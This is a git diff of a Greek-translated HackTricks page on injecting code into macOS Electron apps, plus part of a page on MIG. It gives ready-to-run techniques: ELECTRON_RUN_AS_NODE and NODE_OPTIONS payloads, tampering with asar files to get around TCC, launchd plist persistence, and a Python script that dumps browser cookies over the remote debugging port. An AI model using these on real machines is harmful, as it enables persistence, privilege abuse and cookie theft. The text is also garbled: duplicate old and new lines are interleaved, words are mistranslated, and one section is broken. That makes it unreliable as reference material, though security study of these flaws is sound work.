* **`LoadBrowserProcessSpecificV8Snapshot`**: Εάν είναι ενεργοποιημένο, η διεργασία περιήγησης χρησιμοποιεί το αρχείο που ονομάζεται `browser_v8_context_snapshot.bin` για το V8 snapshot της.
* **`RunAsNode`**: Αν απενεργοποιηθεί, αποτρέπει τη χρήση της μεταβλητής περιβάλλοντος **`ELECTRON_RUN_AS_NODE`** για την ενσωμάτωση κώδικα.
* **`EnableNodeCliInspectArguments`**: Αν απενεργοποιηθεί, παράμετροι όπως `--inspect`, `--inspect-brk` δεν θα τηρούνται. Αποφεύγοντας έτσι την ενσωμάτωση κώδικα.
* **`EnableEmbeddedAsarIntegrityValidation`**: Αν ενεργοποιηθεί, το φορτωμένο **`asar`** **αρχείο** θα ελεγχθεί από το macOS. Αποτρέποντας έτσι την **ενσωμάτωση κώδικα** με τροποποίηση του περιεχομένου αυτού του αρχείου.
* **`OnlyLoadAppFromAsar`**: Αν είναι ενεργοποιημένο, αντί να αναζητά να φορτώσει με την ακόλουθη σειρά: **`app.asar`**, **`app`** και τελικά **`default_app.asar`**. Θα ελέγχει και θα χρησιμοποιεί μόνο το app.asar, εξασφαλίζοντας έτσι όταν **συνδυαστεί** με τη συγχώνευση **`embeddedAsarIntegrityValidation`** είναι **αδύνατο** να **φορτωθεί μη-επικυρωμένος κώδικας**.
* **`LoadBrowserProcessSpecificV8Snapshot`**: Αν ενεργοποιηθεί, η διεργασία περιήγησης χρησιμοποιεί το αρχείο που ονομάζεται `browser_v8_context_snapshot.bin` για το στιγμιότυπο του V8.
Μια άλλη ενδιαφέρουσα συγχώνευση που δεν θα αποτρέπει την εισαγωγή κώδικα είναι:
Μια άλλη ενδιαφέρουσα συγχώνευση που δεν θα αποτρέψει την ενσωμάτωση κώδικα είναι:
* **EnableCookieEncryption**: Εάν είναι ενεργοποιημένο, η αποθήκευση των cookies στον δίσκο κρυπτογραφείται χρησιμοποιώντας κλειδιά κρυπτογραφίας σε επίπεδο λειτουργικού συστήματος.
* **EnableCookieEncryption**: Αν ενεργοποιηθεί, η αποθήκευση cookie στο δίσκο κρυπτογραφείται χρησιμοποιώντας κλειδιά κρυπτογράφησης σε επίπεδο λειτουργικού συστήματος.
### Έλεγχος των συγχωνεύσεων Electron
### Έλεγχος Συγχωνεύσεων Electron
Μπορείτε να **ελέγξετε αυτές τις σημαίες** από μια εφαρμογή με:
```bash
@ -49,49 +49,47 @@ EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
```
### Τροποποίηση των Electron Fuses
### Τροποποίηση των Ηλεκτρονικών Ασφαλμάτων
Όπως αναφέρονται στα [**έγγραφα**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), η διαμόρφωση των **Electron Fuses** γίνεται μέσα στο **Electron binary** που περιέχει κάπου τον χαρακτήρα **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
Όπως αναφέρονται στα [**έγγραφα**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), η διαμόρφωση των **Ηλεκτρονικών Ασφαλμάτων** γίνεται μέσα στο **Ηλεκτρονικό δυαδικό** που περιέχει κάπου το string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
Στις εφαρμογές macOS, αυτό συνήθως βρίσκεται στη διαδρομή `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`.
Στις εφαρμογές macOS, αυτό βρίσκεται συνήθως στο `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
```bash
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
Μπορείτε να φορτώσετε αυτό το αρχείο στο [https://hexed.it/](https://hexed.it/) και να αναζητήσετε το προηγούμενο string. Μετά από αυτό το string, μπορείτε να δείτε σε ASCII έναν αριθμό "0" ή "1" που υποδηλώνει εάν κάθε ασφάλεια είναι απενεργοποιημένη ή ενεργοποιημένη. Απλά τροποποιήστε τον κωδικό hex (`0x30` είναι το `0` και `0x31` είναι το `1`) για να **τροποποιήσετε τις τιμές των ασφαλειών**.
Μπορείτε να φορτώσετε αυτό το αρχείο στο [https://hexed.it/](https://hexed.it/) και να αναζητήσετε την προηγούμενη συμβολοσειρά. Μετά από αυτή τη συμβολοσειρά μπορείτε να δείτε σε ASCII έναν αριθμό "0" ή "1" που υποδηλώνει εάν κάθε ασφάλεια είναι απενεργοποιημένη ή ενεργοποιημένη. Απλά τροποποιήστε τον κωδικό hex (`0x30` είναι `0` και `0x31` είναι `1`) για **τροποποίηση των τιμών των ασφαλειών**.
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Σημειώστε ότι εάν προσπαθήσετε να **αντικαταστήσετε** το **δυαδικό αρχείο του Electron Framework** μέσα σε μια εφαρμογή με αυτά τα τροποποιημένα bytes, η εφαρμογή δεν θα εκτελεστεί.
Σημείωση ότι αν προσπαθήσετε να **αντικαταστήσετε** το **δυαδικό αρχείο του Electron Framework** μέσα σε μια εφαρμογή με αυτά τα τροποποιημένα bytes, η εφαρμογή δεν θα εκκινήσει.
## RCE προσθήκη κώδικα σε εφαρμογές Electron
## RCE προσθέτοντας κώδικα σε Εφαρμογές Electron
Μπορεί να υπάρχουν **εξωτερικά αρχεία JS/HTML** που χρησιμοποιεί μια εφαρμογή Electron, οπότε ένας επιτιθέμενος μπορεί να εισχωρήσει κώδικα σε αυτά τα αρχεία, η υπογραφή των οποίων δεν θα ελεγχθεί, και να εκτελέσει αυθαίρετο κώδικα στο πλαίσιο της εφαρμογής.
Μπορεί να υπάρχουν **εξωτερικά αρχεία JS/HTML** που χρησιμοποιεί μια Εφαρμογή Electron, έτσι ένας εισβολέας μπορεί να ενθέτει κώδικα σε αυτά τα αρχεία, η υπογραφή των οποίων δεν θα ελεγχθεί, και να εκτελέσει αυθαίρετο κώδικα στο πλαίσιο της εφαρμογής.
{% hint style="danger" %}
Ωστόσο, αυτή τη στιγμή υπάρχουν 2 περιορισμοί:
Ωστόσο, προς το παρόν υπάρχουν 2 περιορισμοί:
* Απαιτείται η άδεια **`kTCCServiceSystemPolicyAppBundles`** για να τροποποιηθεί μια εφαρμογή, οπότε από προεπιλογή αυτό δεν είναι πλέον δυνατό.
* Το συνταγμένο αρχείο **`asap`** συνήθως έχει τις ασφάλειες **`embeddedAsarIntegrityValidation`** και **`onlyLoadAppFromAsar`** ενεργοποιημένες
* Η άδεια **`kTCCServiceSystemPolicyAppBundles`** είναι **απαραίτητη** για την τροποποίηση μιας Εφαρμογής, οπότε από προεπιλογή αυτό δεν είναι πλέον δυνατό.
* Το μεταγλωττισμένο αρχείο **`asap`** συνήθως έχει τις ασφάλειες **`embeddedAsarIntegrityValidation`** `και` **`onlyLoadAppFromAsar`** `ενεργοποιημένες`
Αυτό καθιστά πιο περίπλοκη (ή αδύνατη) αυτήν τη διαδρομή επίθεσης.
Κάνοντας αυτό το μονοπάτι επίθεσης πιο περίπλοκο (ή αδύνατο).
{% endhint %}
Σημειώστε ότι είναι δυνατό να παρακάμψετε την απαίτηση της **`kTCCServiceSystemPolicyAppBundles`** αντιγράφοντας την εφαρμογή σε έναν άλλο κατάλογο (όπως το **`/tmp`**), μετονομάζοντας τον φάκελο **`app.app/Contents`** σε **`app.app/NotCon`**, **τροποποιώντας** το αρχείο **asar** με τον **κακόβουλο** κώδικά σας, μετονομάζοντάς το πίσω σε **`app.app/Contents`** και εκτελώντας το.
Σημειώστε ότι είναι δυνατό να παρακάμψετε την απαίτηση της **`kTCCServiceSystemPolicyAppBundles`** με το να αντιγράψετε την εφαρμογή σε έναν άλλο κατάλογο (όπως **`/tmp`**), να μετονομάσετε τον φάκελο **`app.app/Contents`** σε **`app.app/NotCon`**, **τροποποιήστε** το αρχείο **asar** με τον **κακόβουλο** κώδικά σας, να το μετονομάσετε πίσω σε **`app.app/Contents`** και να το εκτελέσετε.
Μπορείτε να αποσυμπιέσετε τον κώδικα από το αρχείο asar με:
```bash
npx asar extract app.asar app-decomp
```
Και επανασυσκευάστε το αρχείο μετά την τροποποίησή του με:
Και συμπιέστε το πίσω μετά την τροποποίησή του με:
```bash
npx asar pack app-decomp app-new.asar
```
## Εκτέλεση κώδικα απομακρυσμένης εκτέλεσης (RCE) με το `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
## RCE με το `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
Σύμφωνα με [**τα έγγραφα**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), εάν αυτή η μεταβλητή περιβάλλοντος είναι ορισμένη, θα ξεκινήσει τη διεργασία ως μια κανονική διεργασία Node.js.
{% code overflow="wrap" %}
Σύμφωνα με [**τα έγγραφα**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), εάν αυτή η μεταβλητή περιβάλλοντος είναι ορισμένη, θα ξεκινήσει τη διαδικασία ως ένα κανονικό διεργασία Node.js.
```bash
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
@ -101,12 +99,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% endcode %}
{% hint style="danger" %}
Εάν ο φούσκας **`RunAsNode`** είναι απενεργοποιημένος, η μεταβλητή περιβάλλοντος **`ELECTRON_RUN_AS_NODE`** θα αγνοηθεί και αυτό δεν θα λειτουργήσει.
Αν η προστασία **`RunAsNode`** είναι απενεργοποιημένη, η μεταβλητή περιβάλλοντος **`ELECTRON_RUN_AS_NODE`** θα αγνοηθεί και αυτό δεν θα λειτουργήσει.
{% endhint %}
### Έγχυση από το App Plist
Όπως [**προτείνεται εδώ**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), μπορείτε να καταχραστείτε αυτήν τη μεταβλητή περιβάλλοντος σε ένα plist για να διατηρήσετε την επιμονή:
Όπως [**προτάθηκε εδώ**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), μπορείτε να καταχραστείτε αυτήν τη μεταβλητή περιβάλλοντος σε ένα plist για να διατηρήσετε την επιμονή:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -130,11 +128,9 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
</dict>
</plist>
```
## RCE με το `NODE_OPTIONS`
## RCE με `NODE_OPTIONS`
Μπορείτε να αποθηκεύσετε το payload σε ένα διαφορετικό αρχείο και να το εκτελέσετε:
{% code overflow="wrap" %}
Μπορείτε να αποθηκεύσετε το payload σε διαφορετικό αρχείο και να το εκτελέσετε:
```bash
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
@ -145,14 +141,12 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
{% endcode %}
{% hint style="danger" %}
Εάν η παράμετρος **`EnableNodeOptionsEnvironmentVariable`** είναι **απενεργοποιημένη**, η εφαρμογή θα **αγνοήσει** τη μεταβλητή περιβάλλοντος **NODE\_OPTIONS** κατά την εκκίνηση, εκτός αν η μεταβλητή περιβάλλοντος **`ELECTRON_RUN_AS_NODE`** είναι ορισμένη, η οποία θα **αγνοηθεί** επίσης εάν η παράμετρος **`RunAsNode`** είναι απενεργοποιημένη.
Αν η ασφάλεια **`EnableNodeOptionsEnvironmentVariable`** είναι **απενεργοποιημένη**, η εφαρμογή θα **αγνοήσει** τη μεταβλητή περιβάλλοντος **NODE\_OPTIONS** όταν εκκινείται εκτός αν η μεταβλητή περιβάλλοντος **`ELECTRON_RUN_AS_NODE`** είναι ορισμένη, η οποία θα **αγνοηθεί** επίσης αν η ασφάλεια **`RunAsNode`** είναι απενεργοποιημένη.
Εάν δεν ορίσετε την παράμετρο **`ELECTRON_RUN_AS_NODE`**, θα συναντήσετε το **σφάλμα**: `Οι περισσότερες NODE_OPTIONs δεν υποστηρίζονται σε συσκευασμένες εφαρμογές. Δείτε την τεκμηρίωση για περισσότερες λεπτομέρειες.`
Αν δεν ορίσετε το **`ELECTRON_RUN_AS_NODE`**, θα λάβετε το **σφάλμα**: `Οι περισσότερες NODE_OPTIONs δεν υποστηρίζονται σε συσκευασμένες εφαρμογές. Δείτε την τεκμηρίωση για περισσότερες λεπτομέρειες.`
{% endhint %}
### Έγχυση από το Plist της εφαρμογής
Μπορείτε να καταχραστείτε αυτήν τη μεταβλητή περιβάλλοντος σε ένα plist για να διατηρήσετε την επιμονή προσθέτοντας αυτά τα κλειδιά:
### Έγχυση από το Plist της Εφαρμογής
```xml
<dict>
<key>EnvironmentVariables</key>
@ -168,12 +162,9 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
<true/>
</dict>
```
## RCE με επιθεώρηση
## RCE με επιθετική επιθεύση
Σύμφωνα με [**αυτό**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), αν εκτελέσετε μια εφαρμογή Electron με σημαίες όπως **`--inspect`**, **`--inspect-brk`** και **`--remote-debugging-port`**, θα ανοίξει ένα **θύρα επιθεώρησης** ώστε να μπορείτε να συνδεθείτε σε αυτήν (για παράδειγμα από το Chrome στο `chrome://inspect`) και θα μπορείτε να **εισάγετε κώδικα σε αυτήν** ή ακόμα και να εκκινήσετε νέες διεργασίες.\
Για παράδειγμα:
{% code overflow="wrap" %}
Σ
```bash
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
@ -182,12 +173,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% endcode %}
{% hint style="danger" %}
Εάν ο φούσκα **`EnableNodeCliInspectArguments`** είναι απενεργοποιημένη, η εφαρμογή θα **αγνοεί τις παραμέτρους του node** (όπως `--inspect`) όταν ξεκινάει, εκτός αν η μεταβλητή περιβάλλοντος **`ELECTRON_RUN_AS_NODE`** είναι ορισμένη, η οποία θα **αγνοηθεί** επίσης εάν η φούσκα **`RunAsNode`** είναι απενεργοποιημένη.
Αν η ασφάλεια **`EnableNodeCliInspectArguments`** είναι απενεργοποιημένη, η εφαρμογή θα **αγνοήσει τις παραμέτρους του node** (όπως `--inspect`) όταν εκκινείται εκτός αν η μεταβλητή περιβάλλοντος **`ELECTRON_RUN_AS_NODE`** είναι ορισμένη, η οποία θα **αγνοηθεί** επίσης αν η ασφάλεια **`RunAsNode`** είναι απενεργοποιημένη.
Ωστόσο, μπορείτε ακόμα να χρησιμοποιήσετε την παράμετρο **electron `--remote-debugging-port=9229`** αλλά το προηγούμενο φορτίο δεν θα λειτουργήσει για να εκτελέσει άλλες διεργασίες.
Ωστόσο, μπορείτε ακόμα να χρησιμοποιήσετε την παράμετρο **electron `--remote-debugging-port=9229`** αλλά το προηγούμενο φορτίο δεν θα λειτουργήσει για την εκτέλεση άλλων διεργασιών.
{% endhint %}
Χρησιμοποιώντας την παράμετρο **`--remote-debugging-port=9222`** είναι δυνατόν να κλέψετε ορισμένες πληροφορίες από την εφαρμογή Electron, όπως το **ιστορικό** (με GET εντολές) ή τα **cookies** του προγράμματος περιήγησης (καθώς αποκρυπτογραφούνται μέσα στον προγράμματα περιήγησης και υπάρχει ένα **json endpoint** που θα τα δώσει).
Χρησιμοποιώντας την παράμετρο **`--remote-debugging-port=9222`** είναι δυνατόν να κλέψετε κάποιες πληροφορίες από την εφαρμογή Electron όπως το **ιστορικό** (με GET εντολές) ή τα **cookies** του προγράμματος περιήγησης (καθώς αποκρυπτογραφούνται μέσα στον προγραμματιστή και υπάρχει ένα **json endpoint** που θα τα δώσει).
Μπορείτε να μάθετε πώς να το κάνετε αυτό [**εδώ**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) και [**εδώ**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) και να χρησιμοποιήσετε το αυτόματο εργαλείο [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) ή ένα απλό σενάριο όπως:
```python
@ -197,11 +188,11 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
Σε [**αυτή την ανάρτηση στο blog**](https://hackerone.com/reports/1274695), αυτή η αποσφαλμάτωση καταχράται για να κατεβάσει ο Headless Chrome **οποιοδήποτε αρχείο σε οποιαδήποτε τοποθεσία**.
Στο [**συγκεκριμένο blogpost**](https://hackerone.com/reports/1274695), αυτή η αποσφαλμάτωση καταχρηστεύεται για να κάνει ένα headless chrome **να κατεβάσει αυθαίρετα αρχεία σε αυθαίρετες τοποθεσίες**.
### Εισαγωγή από το App Plist
### Έγχυση από το App Plist
Μπορείτε να καταχραστείτε αυτήν τη μεταβλητή περιβάλλοντος σε ένα plist για να διατηρήσετε την επιμονή προσθέτοντας αυτά τα κλειδιά:
Μπορείτε να καταχρηστεύσετε αυτήν τη μεταβλητή περιβάλλοντος σε ένα plist για να διατηρήσετε την επιμονή προσθέτοντας αυτά τα κλειδιά:
```xml
<dict>
<key>ProgramArguments</key>
@ -215,20 +206,20 @@ print(ws.recv()
<true/>
</dict>
```
## Παράκαμψη TCC με κατάχρηση παλαιότερων εκδόσεων
## Παράκαμψη TCC εκμεταλλευόμενος Παλαιότερες Εκδόσεις
{% hint style="success" %}
Ο δαίμονας TCC του macOS δεν ελέγχει την εκτελούμενη έκδοση της εφαρμογής. Έτσι, αν **δεν μπορείτε να εισχωρήσετε κώδικα σε μια εφαρμογή Electron** με καμία από τις προηγούμενες τεχνικές, μπορείτε να κατεβάσετε μια προηγούμενη έκδοση της εφαρμογής και να εισχωρήσετε κώδικα σε αυτήν, καθώς θα λάβει ακόμα τα προνόμια TCC (εκτός αν το Trust Cache το εμποδίζει).
Το TCC daemon του macOS δεν ελέγχει την εκτελούμενη έκδοση της εφαρμογής. Έτσι, αν **δεν μπορείτε να ενθάρρυνετε κώδικα σε μια εφαρμογή Electron** με καμία από τις προηγούμενες τεχνικές, μπορείτε να κατεβάσετε μια προηγούμενη έκδοση της εφαρμογής και να ενθάρρυνετε κώδικα σε αυτήν καθώς ακόμα θα λαμβάνει τα δικαιώματα TCC (εκτός αν το Trust Cache το εμποδίζει).
{% endhint %}
## Εκτέλεση μη JS κώδικα
## Εκτέλεση μη JS Κώδικα
Οι προηγούμενες τεχνικές θα σας επιτρέψουν να εκτελέσετε **JS κώδικα μέσα στη διεργασία της εφαρμογής Electron**. Ωστόσο, θυμηθείτε ότι οι **υποδιεργασίες εκτελούνται με το ίδιο προφίλ ασφαλείας** με τη γονική εφαρμογή και **κληρονομούν τα δικαιώματα TCC** της.\
Επομένως, αν θέλετε να καταχραστείτε δικαιώματα για πρόσβαση στην κάμερα ή το μικρόφωνο, για παράδειγμα, μπορείτε απλά να **εκτελέσετε ένα άλλο δυαδικό αρχείο από τη διεργασία**.
Οι προηγούμενες τεχνικές θα σας επιτρέψουν να εκτελέσετε **JS κώδικα μέσα στη διαδικασία της εφαρμογής electron**. Ωστόσο, θυμηθείτε ότι οι **υποδιεργασίες εκτελούνται υπό τον ίδιο προφίλ αμμοθοχώρου** με τη γονική εφαρμογή και **κληρονομούν τα δικαιώματα TCC** τους.\
Επομένως, αν θέλετε να εκμεταλλευτείτε τις αδειοδοσίες για πρόσβαση στην κάμερα ή το μικρόφωνο για παράδειγμα, απλά μπορείτε να **εκτελέσετε ένα άλλο δυαδικό από τη διαδικασία**.
## Αυτόματη εισαγωγή
## Αυτόματη Ενθάρρυνση
Το εργαλείο [**electroniz3r**](https://github.com/r3ggi/electroniz3r) μπορεί να χρησιμοποιηθεί εύκολα για να **βρεί ευπάθειες σε εγκατεστημένες εφαρμογές Electron** και να εισάγει κώδικα σε αυτές. Αυτό το εργαλείο θα προσπαθήσει να χρησιμοποιήσει την τεχνική **`--inspect`**:
Το εργαλείο [**electroniz3r**](https://github.com/r3ggi/electroniz3r) μπορεί να χρησιμοποιηθεί εύκολα για να **βρεί ευάλωτες εφαρμογές electron** που έχουν εγκατασταθεί και να ενθαρρύνει κώδικα σε αυτές. Αυτό το εργαλείο θα προσπαθήσει να χρησιμοποιήσει την τεχνική **`--inspect`**:
Πρέπει να το μεταγλωτίσετε μόνοι σας και μπορείτε να το χρησιμοποιήσετε ως εξής:
```bash
@ -274,14 +265,14 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -6,7 +6,7 @@
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,7 +14,7 @@
</details>
Ο MIG δημιουργήθηκε για να **απλοποιήσει τη διαδικασία δημιουργίας κώδικα Mach IPC**. Βασικά **παράγει τον απαιτούμενο κώδικα** για τον εξυπηρετητή και τον πελάτη να επικοινωνούν με μια δεδομένη ορισμένη. Ακόμη κι αν ο παραγόμενος κώδικας είναι άσχημος, ένας προγραμματιστής θα χρειαστεί απλώς να τον εισάγει και ο κώδικάς του θα είναι πολύ απλούστερος από πριν.
Ο MIG δημιουργήθηκε για να **απλοποιήσει τη διαδικασία δημιουργίας κώδικα Mach IPC**. Βασικά **παράγει τον απαιτούμενο κώδικα** για τον εξυπηρετητή και τον πελάτη να επικοινωνούν με μια δεδομένη ορισμού. Ακόμη κι αν ο παραγόμενος κώδικας είναι άσχημος, ένας προγραμματιστής θα χρειαστεί απλώς να τον εισάγει και ο κώδικάς του θα είναι πολύ απλούστερος από πριν.
### Παράδειγμα
@ -43,7 +43,7 @@ mig -header myipcUser.h -sheader myipcServer.h myipc.defs
```
Θα δημιουργηθούν αρκετά νέα αρχεία στον τρέχοντα κατάλογο.
Στα αρχεία **`myipcServer.c`** και **`myipcServer.h`** μπορείτε να βρείτε τη δήλωση και τον ορισμό της δομής **`SERVERPREFmyipc_subsystem`**, η οποία ουσιαστικά ορίζει τη λειτουργία που θα κληθεί με βάση το αναγνωριστικό μηνύματος που λαμβάνεται (καθορίσαμε έναν αρχικό αριθμό 500):
Στα αρχεία **`myipcServer.c`** και **`myipcServer.h`** μπορείτε να βρείτε τη δήλωση και τον ορισμό της δομής **`SERVERPREFmyipc_subsystem`**, η οποία ουσιαστικά ορίζει τη συνάρτηση που θα κληθεί με βάση το αναγνωριστικό μηνύματος που λαμβάνεται (καθορίσαμε έναν αρχικό αριθμό 500):
{% tabs %}
{% tab title="myipcServer.c" %}
@ -64,7 +64,7 @@ myipc_server_routine,
```
{% endtab %}
{% tab title="myipcServer.h" %}Το MIG (Mach Interface Generator) είναι ένα εργαλείο που χρησιμοποιείται για τη δημιουργία διεπαφών επικοινωνίας μεταξύ διεργασιών στο macOS. Με τη χρήση του MIG, μπορούμε να ορίσουμε μηνύματα και δομές δεδομένων που χρησιμοποιούνται για την επικοινωνία μεταξύ διεργασιών. Αυτό μπορεί να χρησιμοποιηθεί για την εκτέλεση επιθέσεων εκμετάλλευσης προνομίων στο macOS μέσω της κατάχρησης των μηνυμάτων IPC. {% endtab %}
{% tab title="myipcServer.h" %}Ορισμός των συναρτήσεων που υλοποιούνται από τον server. %}
```c
/* Description of this subsystem, for use in direct RPC */
extern const struct SERVERPREFmyipc_subsystem {
@ -95,7 +95,7 @@ return 0;
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
}
```
Σε αυτό το παράδειγμα έχουμε ορίσει μόνο 1 συνάρτηση στις ορισμούς, αλλά αν είχαμε ορίσει περισσότερες συναρτήσεις, θα βρίσκονταν μέσα στον πίνακα του **`SERVERPREFmyipc_subsystem`** και η πρώτη θα είχε ανατεθεί στο ID **500**, η δεύτερη στο ID **501**...
Σε αυτό το παράδειγμα έχουμε ορίσει μόνο 1 λειτουργία στις ορισμούς, αλλά αν είχαμε ορίσει περισσότερες λειτουργίες, θα βρίσκονταν μέσα στον πίνακα του **`SERVERPREFmyipc_subsystem`** και η πρώτη θα είχε ανατεθεί στο ID **500**, η δεύτερη στο ID **501**...
Πράγματι, είναι δυνατό να αναγνωριστεί αυτή η σχέση στη δομή **`subsystem_to_name_map_myipc`** από το **`myipcServer.h`**:
```c
@ -104,7 +104,7 @@ return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
{ "Subtract", 500 }
#endif
```
Τέλος, μια άλλη σημαντική λειτουργία για τη λειτουργία του διακομιστή θα είναι η **`myipc_server`**, η οποία είναι αυτή που θα καλέσει πραγματικά τη συνάρτηση που σχετίζεται με το ληφθέν αναγνωριστικό:
Τέλος, μια άλλη σημαντική λειτουργία για τη λειτουργία του διακομιστή θα είναι το **`myipc_server`**, το οποίο είναι αυτό που θα καλέσει πραγματικά τη σχετική **συνάρτηση** που αφορά το ληφθέν αναγνωριστικό:
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@ -121,7 +121,7 @@ mig_routine_t routine;
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
/* Ελάχιστο μέγεθος: η συνάρτηση routine() θα το ενημερώσει αν είναι διαφορετικό */
/* Ελάχιστο μέγεθος: η συνάρτηση θα το ενημερώσει αν είναι διαφορετικό */
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
@ -140,7 +140,7 @@ return FALSE;
